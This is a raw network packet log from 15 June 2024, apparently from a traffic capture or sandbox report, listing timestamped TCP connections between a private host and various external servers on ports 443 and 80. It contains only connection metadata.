Jun 15, 2024 11:15:05.345174074 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:05.345185995 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.346307039 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.346872091 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:05.346872091 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:05.346887112 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.347048044 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.370203018 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.370454073 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.370491028 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.370985985 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.371577978 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.371665001 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.371740103 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.392952919 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:05.416512966 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.598381996 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.598587990 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.598644018 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:05.599373102 CEST	49853	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:05.599399090 CEST	443	49853	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:05.616348028 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.616446018 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.616511106 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.616695881 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.616727114 CEST	443	49855	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.616740942 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.616978884 CEST	49855	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.617644072 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.617721081 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.617803097 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.617994070 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:05.618026972 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:05.648073912 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.648113012 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.648209095 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.648411036 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.648426056 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.723630905 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.723893881 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.723917961 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.724855900 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.724931002 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.725222111 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.725281000 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.725343943 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.725349903 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.758845091 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.759212017 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.759248018 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.759742022 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.760016918 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.760111094 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.760142088 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.760142088 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.760221004 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:05.762003899 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:05.762212992 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.762279034 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:05.762293100 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:05.762415886 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.762449980 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.762965918 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.763088942 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:05.763267040 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.763360977 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.763464928 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:05.763537884 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.763541937 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:05.763607025 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:05.774955034 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.806967020 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:05.808502913 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.808504105 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:05.811265945 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:05.811512947 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:05.811547995 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:05.812684059 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:05.812952042 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:05.813038111 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:05.813060045 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:05.854959965 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:05.854994059 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:05.873699903 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.874313116 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.874372005 CEST	443	49861	35.244.159.8	192.168.2.16
Jun 15, 2024 11:15:05.874425888 CEST	49861	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:15:05.875873089 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:05.875976086 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:05.876077890 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:05.876319885 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:05.876354933 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:05.919094086 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.919125080 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.919209003 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.919312000 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.919312000 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.919827938 CEST	49860	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:05.919874907 CEST	443	49860	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:05.988214970 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:05.988492966 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.988507032 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:05.989574909 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:05.989639997 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.990102053 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.990151882 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:05.990274906 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:05.991755009 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.991992950 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.992018938 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.993045092 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.993112087 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.993411064 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.993539095 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:05.993546009 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:05.994311094 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:06.005343914 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.005363941 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:06.005467892 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.005469084 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:06.005523920 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:06.005649090 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.006052017 CEST	49856	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.006081104 CEST	443	49856	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.006809950 CEST	49857	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:15:06.006829023 CEST	443	49857	141.95.33.120	192.168.2.16
Jun 15, 2024 11:15:06.009951115 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.009987116 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.010046959 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.010107994 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.010140896 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.010180950 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.010329962 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.010346889 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.010471106 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.010483980 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.030956984 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:06.030971050 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:06.045953989 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:06.045974970 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:06.056828976 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:06.057025909 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:06.057490110 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:06.057665110 CEST	49858	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:15:06.057713032 CEST	443	49858	52.49.242.239	192.168.2.16
Jun 15, 2024 11:15:06.062154055 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.062407970 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:06.062474966 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.062875986 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.063178062 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:06.063280106 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.063323975 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:06.067140102 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.067378998 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.067410946 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.071042061 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.071115017 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.071428061 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.071566105 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.071579933 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.071614027 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.076972008 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:06.092958927 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:06.108510971 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.108961105 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:06.124968052 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.125003099 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.172975063 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.223047018 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:06.224194050 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:06.224224091 CEST	443	49862	185.64.191.210	192.168.2.16
Jun 15, 2024 11:15:06.224478006 CEST	49862	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:15:06.224818945 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.224895954 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.225436926 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.225604057 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.225637913 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.281599998 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:06.311466932 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.311547995 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.311625957 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:06.312350035 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.317241907 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.317256927 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.317601919 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.319164991 CEST	49863	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:15:06.319231987 CEST	443	49863	185.89.210.82	192.168.2.16
Jun 15, 2024 11:15:06.321165085 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.321224928 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.322628021 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.323223114 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.323247910 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.324163914 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.325037956 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.325202942 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.325217962 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.329974890 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:06.329994917 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:06.330355883 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:06.330418110 CEST	443	49859	78.140.242.74	192.168.2.16
Jun 15, 2024 11:15:06.330467939 CEST	49859	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:15:06.372507095 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.377969027 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.378037930 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.382688046 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.382838964 CEST	443	49864	142.250.186.162	192.168.2.16
Jun 15, 2024 11:15:06.382936001 CEST	49864	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:15:06.387748957 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.387801886 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.387922049 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.388683081 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.388708115 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.410165071 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 15, 2024 11:15:06.473963976 CEST	49678	443	192.168.2.16	20.189.173.10
Jun 15, 2024 11:15:06.706799030 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.707097054 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.707170963 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.708219051 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.708293915 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.708576918 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.708652973 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.708718061 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.708739042 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.714056969 CEST	49680	80	192.168.2.16	192.229.211.108
Jun 15, 2024 11:15:06.717044115 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.717267990 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:06.717288017 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.718405962 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.718735933 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:06.718848944 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:06.718854904 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.718908072 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.761969090 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:06.762052059 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.850424051 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.850737095 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.850750923 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.851217985 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.851241112 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.851558924 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.851635933 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.851701021 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.851725101 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.851778984 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.852045059 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.852283955 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.852346897 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.852360010 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.892518997 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:06.904989958 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:06.924793005 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.924889088 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.924958944 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.926259995 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.926279068 CEST	443	49866	185.178.208.137	192.168.2.16
Jun 15, 2024 11:15:06.926286936 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.926326990 CEST	49866	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:15:06.938533068 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:06.938580036 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:06.938658953 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:06.938813925 CEST	49873	443	192.168.2.16	104.21.234.183
Jun 15, 2024 11:15:06.938839912 CEST	443	49873	104.21.234.183	192.168.2.16
Jun 15, 2024 11:15:06.952817917 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.952889919 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.952980995 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.953532934 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.953532934 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.953586102 CEST	443	49867	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:06.953639030 CEST	49867	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:06.966057062 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.966263056 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.966331959 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:06.966743946 CEST	49865	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:15:06.966775894 CEST	443	49865	157.90.33.72	192.168.2.16
Jun 15, 2024 11:15:06.969691038 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:06.969743013 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:06.969837904 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:06.970093966 CEST	49874	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:15:06.970134020 CEST	443	49874	157.90.33.121	192.168.2.16
Jun 15, 2024 11:15:07.059426069 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.059699059 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.059753895 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.060265064 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.060559034 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.060647011 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.060689926 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.092652082 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:07.092952013 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:07.093024969 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:07.093475103 CEST	49869	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:07.093497992 CEST	443	49869	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:07.094846010 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:07.095354080 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:07.095408916 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:07.095623016 CEST	49868	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:15:07.095659018 CEST	443	49868	162.19.138.116	192.168.2.16
Jun 15, 2024 11:15:07.102256060 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.102296114 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.102370977 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.102564096 CEST	49875	443	192.168.2.16	89.149.192.200
Jun 15, 2024 11:15:07.102581978 CEST	443	49875	89.149.192.200	192.168.2.16
Jun 15, 2024 11:15:07.108501911 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.112943888 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.158828020 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.159100056 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.159131050 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.162692070 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.162756920 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.163038015 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.163120985 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.163181067 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.208494902 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.208945990 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.208956957 CEST	443	49871	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.214252949 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.214601994 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.214673042 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.215780020 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.215982914 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.216150045 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.216244936 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.216326952 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.216366053 CEST	443	49872	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.256979942 CEST	49871	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.257118940 CEST	49872	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.303587914 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.303689003 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.304244995 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.304507971 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.304507971 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.304558039 CEST	443	49870	99.81.158.184	192.168.2.16
Jun 15, 2024 11:15:07.306312084 CEST	49870	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:15:07.320974112 CEST	49680	80	192.168.2.16	192.229.211.108
